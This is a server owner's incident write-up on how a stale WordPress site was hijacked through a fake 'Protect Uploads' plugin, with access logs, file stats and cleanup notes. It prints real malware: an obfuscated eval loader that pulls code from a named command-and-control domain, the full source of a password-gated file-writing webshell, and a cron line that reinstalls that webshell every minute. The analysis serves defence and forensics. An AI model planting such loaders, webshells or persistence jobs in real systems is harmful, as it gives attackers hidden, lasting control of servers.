home
features
downloads
support
news
about
sitemap
PreviewQt
PhotoQt v5.4.1

How the server was compromised, and how it was cleaned up again

Published: 18th of September, 2026

Early in the day on the 17th of September 2026, the server hosting PhotoQt, PreviewQt, and a few other personal websites was compromised. The compromise was detected not much later that same day, with the server being shut down right away. After isolating the server completely (from all inbound and outbound traffic), it was restarted and an analysis was done to reconstruct what happened before removing the compromise.

This write-up started as a means for me to keep track of what I was finding to figure out what happened and how, but I thought it might be interesting enough to share, even though it is not necessarily a very exciting incidence. Maybe it will help somebody else secure their server after such a compromise, as this is probably a rather common one (it is WordPress related after all). Anyways, here we go.

Note: The website obviously no longer exists, and for privacy reasons has been replaced with example.com below.


TL;DR: Don't be stupid, don't keep old websites lying around (particular WordPress sites) that nobody looks at anymore and (most importantly) nobody updates anymore. Bad stuff will happen.


17th of September 2026, 00:33

At 00:33 on the 17th of September, the IP address 87.106.32.6 found an outdated WordPress installation living at https://example.com and used an exploit to install the malicious plugin aqpxita:

example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:36 +0200] 
    "GET /wp-login.php HTTP/1.1" 200 2608 "www.google.com" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/91.0.4472.124 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:36 +0200] 
    "POST /wp-login.php HTTP/1.1" 302 5 "https://example.com/wp-admin/"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/91.0.4472.124 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:36 +0200] 
    "GET /wp-login.php?redirect_to=https%3A%2F%2Fexample.com%2Fwp-admin%2F&action=confirm_admin_email&wp_lang=en_US HTTP/1.1" 200 1649 "https://example.com/wp-admin/" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/91.0.4472.124 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:37 +0200] 
    "GET /wp-admin/ HTTP/1.1" 200 45891 "www.google.com" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/91.0.4472.124 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:37 +0200] 
    "GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1" 200 32735 "www.google.com" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
     AppleWebKit/537.36 (KHTML, like Gecko)
     Chrome/91.0.4472.124 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:39 +0200] 
    "POST /wp-admin/update.php?action=upload-plugin HTTP/1.1" 200 30546 "www.google.com"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/91.0.4472.124 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:33:39 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php HTTP/1.1" 200 92 "www.google.com"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
     AppleWebKit/537.36 (KHTML, like Gecko)
     Chrome/91.0.4472.124 Safari/537.36"

The plugin is identified as aqpxita but internally it pretends to be the legitimate plugin Protect Uploads (version 0.3). The main file protect-uploads.php has benign code that implements its stated purpose of preventing directory browsing of wp-content/uploads, using index.php or .htaccess. The readme.txt also describes Protect Uploads 0.3, including its normal WordPress installation instructions and changelog.

However, the included index.php is not the legitimate file from the plugin, but instead, with added whitespace for readability, looks like this:

<?php
$DesQW = 'base'.'64'.'_'.'decode';
$LNuWx = 'gzinflat'.'e';
$sJhXG = 'st'.'r'.'_rot'.'13';
$Shgrt = 's'.'trrev';

echo '<br>';

ini_set('error_log', NULL);
error_reporting(0);
ini_set('display_errors', 0);

eval(
    $Shgrt(
        $sJhXG(
            $LNuWx(
                $DesQW('[some long encoded string]')
            )
        )
    )
);

What this is doing is taking an encoded string and doing the following with that string in order:

  1. base64 decode
  2. gzip inflate
  3. ROT13
  4. reverse
  5. eval()

These operations are mildly obfuscated with variables at the beginning (ensuring that a simple grep or similar simple measures will not find anything), all resulting in the encoded string being executed as this PHP code:

if (isset($_GET['action'])) {
    $eWVAe = trim($_GET['action']);

    $eWVAe = str_rot13(
        pack('H*', strrev($eWVAe))
    );

    $r5dat = xr2dp(
        'http://' . TB3FT($eWVAe)
    );

    ...
    eval($r5dat);
}

This code takes a payload from the action GET parameter, converts it into a remote URL pointing to a Command and Control (C2) server which is then accessed for instructions on what to do.

The rest of the files in the malicious plugin are benign versions of the legitimate files, the only malicious addition happened in the index.php file described above.

The stat of the plugin/aqpxita/ folder shows its creation time matching the findings above:

  File: aqpxita/
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 259,1   Inode: 528507      Links: 5
Access: (0755/drwxr-xr-x)  Uid: (   33/    http)   Gid: (   33/    http)
Access: 2026-09-17 00:33:37.837819164 +0200
Modify: 2026-09-17 00:33:37.631493913 +0200
Change: 2026-09-17 00:33:37.637820543 +0200
 Birth: 2026-09-17 00:33:37.629644296 +0200

All other files in the folder have matching timestamps. However, a search of the wider server returned that the file located at wp-includes/plugin.php has been modified, as indicated by its stat:

  File: wp-includes/plugin.php
  Size: 39110           Blocks: 80         IO Block: 4096   regular file
Device: 259,1   Inode: 26767117    Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/    http)   Gid: (   33/    http)
Access: 2026-09-17 00:33:41.447794256 +0200
Modify: 2026-09-17 00:33:39.170396798 +0200
Change: 2026-09-17 00:33:39.170396798 +0200
 Birth: 2025-10-26 11:15:22.538100807 +0100

The changes that were added here are a few different functions, amongst them apply_filters_ref_arrays(), has_actions(), and apply_filter_ref(), with the later executed immediately whenever the code in this file was executed. These functions do a few different things:

  1. Suppression of all output and error reporting.
  2. index.php: Either replaces it with a basic WordPress include structure or alters the content using its string-filtering functions.
  3. wp-includes/plugin.php: Alters references to index.php and changes file permissions (chmod).
  4. Searches for and deletes specific files on the server, such as about.php (if it contains certain strings) or other paths defined via regular expressions.
  5. Checks .htaccess files and replaces them with default WordPress rewrite rule set, possibly to remove custom security configurations and/or redirects.

There are also some changes that were done to some files in /wp-content/well-known/ and /.well-known/, similarly helping in their pursuit to have a persistent access to the server, writing/executing files, and communicating with the C2 server.

17th of September 2026, 00:44am

14 minutes later after the plugin was installed and the above files have been created, the attacker returned and activated the plugin for the first time:

example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:44:31 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php HTTP/1.1" 200 92 "-" 
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_2) 
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/122.0.6261.57 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:44:31 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php?action=a4752555d405d213f2771667e2f2a72607e277660333f6 HTTP/1.1" 200 178 "-" 
    "Mozilla/5.0 (X11; Linux x86_64) 
     Gecko/20100101 Firefox/121.0"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:44:32 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php?action=b41535944565d21313f2771667e2f2a72607e277660333f6 HTTP/1.1" 200 179 "-" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/121.0.0.0 Safari/537.36 
     Edg/121.0.2277.83"

The action parameter here is used by the decoded PHP, and points to the following two endpoints which are evaluated using eval(xr2dp([url])):

  1. a4752555d405d213f2771667e2f2a72607e277660333f6 pointing to http[:]//i30bz.com/.snz/1-CZHEJW
  2. b41535944565d21313f2771667e2f2a72607e277660333f6 pointing to http[:]//i30bz.com/.snz/11-IGVFDX

At this point the file located at wp-content/well-known/acme-challenge/d/e/e/b/ysnfoxp/ondctyl/index.php was created which contains a encoded payload that is capable of writing files and executing code. Thankfully, this code was never accessed or run before access to the server was shut down.

Another 3 minutes later, a single check for the existence of the plugin was done, possibly to check if it was identified and removed quickly by the server administrator or not:

example.com-access.log:87.106.32.6 - - [17/Sep/2026:00:47:01 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php HTTP/1.1" 200 92 "-" 
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 
     AppleWebKit/605.1.15 (KHTML, like Gecko) 
     Version/17.1 Safari/605.1.15"

17th of September 2026, 02:50am

Nothing happened for next roughly two hours, before the attacker returned to once again activate the plugin with an action parameter, this time twice with the same value with a second all=1 parameter for the second one:

example.com-access.log:87.106.32.6 - - [17/Sep/2026:02:50:44 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php HTTP/1.1" 200 92 "-" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/121.0.0.0 Safari/537.36 
     Edg/121.0.2277.83"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:02:50:44 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php?action=85f43484d27323f2771667e2f2a72607e277660333f6 HTTP/1.1" 200 127 "-"
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) 
     AppleWebKit/537.36 (KHTML, like Gecko) 
     Chrome/119.0.6045.159 Safari/537.36"
example.com-access.log:87.106.32.6 - - [17/Sep/2026:02:50:44 +0200] 
    "GET /wp-content/plugins/aqpxita/index.php?action=85f43484d27323f2771667e2f2a72607e277660333f6&all=1 HTTP/1.1" 200 292 "-" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
     Gecko/20100101 Firefox/118.0.2"

Decoding this action parameter (85f43484d27323f2771667e2f2a72607e277660333f6) points us to this endpoint: http[:]//i30bz.com/.snz/27-UPBK

It appears that it was at this point, at 02:50:44, that for each website hosted on the server the file wp-cron-xxxx.php was created, where xxxx are 4 random characters/digits (e.g., wp-cron-s4he.php for the initial compromised WordPress site), all with this identical content:

<?php
function endsWith($FullStr, $needle) {
        $StrLen = strlen($needle);
        $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
        return $FullStrEnd == $needle;
}
function folder_of_file($p1){
        if(!stristr($p1, '/')){
                return realpath('./');
        }
        if(strpos($p1, '//') !== false){
                $p1 = str_replace('//','/',$p1);
        }
        if(endsWith($p1, '/') == true){
                $p1 = substr_replace($p1 ,'', -1);
        }
        $p2 = '';
        $ar = explode('/', $p1);
        for($i=1; $i < count($ar) - 1; $i++){
                $p2 .= '/'.$ar[$i];
        }
        if($p1[0] == '.' && $p1[1] == '/'){
                $p2 = './'.$p2;
        }
        if($p1[0] == '.' && $p1[1] == '.'){
                $p2 = '../'.$p2;
        }
        if(strpos($p2, '//') !== false){
                $p2 = str_replace('//','/',$p2);
        }
        return trim($p2);
}
function save($path, $source){
        $os = strtolower(substr(PHP_OS, 0, 3));
        $folder_P = folder_of_file($path);
        if (!is_writable($folder_P) && $os != "win"){ chmod($folder_P, 0755); }
        if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ chmod($path, 0644); }
        if(function_exists('file_put_contents')){
                $saV = file_put_contents($path, $source);
        }else{
                $saV = fwrite(fopen($path, 'w'), $source);
        }
        return $saV;
}
if(!empty($_GET['action'])){
        die('Sorry the page you were looking for could not be found.');
}
if (md5(md5(md5($_COOKIE['pwd']))) !== '0d4f69bb38f2354a6d896d6a222a4bf5' || empty($_POST['name']) || empty($_POST['age'])){
        header('HTTP/1.1 500 Internal Server Error', true, 500);
        exit(0);
}
$b = 'ba'.'s'.'e'.'6'.'4_'.'de'.'co'.'de';$srv = 'str'.'rev';$rot = 'str'.'_'.'rot'.'13';
save(trim($_POST['name']), gzuncompress($b($srv($rot(trim($_POST['age']))))));
echo '<html><center>./Done</center></html>';
?>

This appears to be a sort of webshell that, when reached from the outside, checks the pwd cookie provided for a password and whether it has a name and age data, and if succesful it decompresses and writes the data provided in age to the file provided in name.

The first action call likely installed the wp-cron-xxxx.php file on the initial website only, and when run with all=1 it did the same with all other websites it was able to find on the same server.

At the same exact time (02:50:44) the attacker also created a crontab entry for the http user for each website that all looked like this:

* * * * * [ -f /var/www/example.com/wp-cron-xxxx.php ] || echo PD9waHAKZnVuY3Rpb24gZW5kc1dpdGgoJEZ1bGxTdHIsICR...PC9odG1sPic7Cj8+ | /usr/bin/base64 -d > /var/www/example.com/wp-cron-xxxx.php

The crontab job runs every minute to ensure that the respective wp-cron-xxxx.php files exists using the base64 encoded string (which expands to the exact content of wp-cron-xxxx.php).

Conclusion

Thankfully this compromise was detected the same day, not long after this point in time. Most importantly, before any further action was taken by the attacker. The server was shut down and completely isolated, before restarting it for this analysis and removing the compromise completely. Thankfully, since the attacker gained access "only" as http user, the attack remained localized, it was contained to that one outdated WordPress site and the wp-cron-xxx.php files. No other part of the system was compromised, no additional data was changed, modified, or accessed by the attacker.

Naturally, all credentials have been rotated.








Sitemap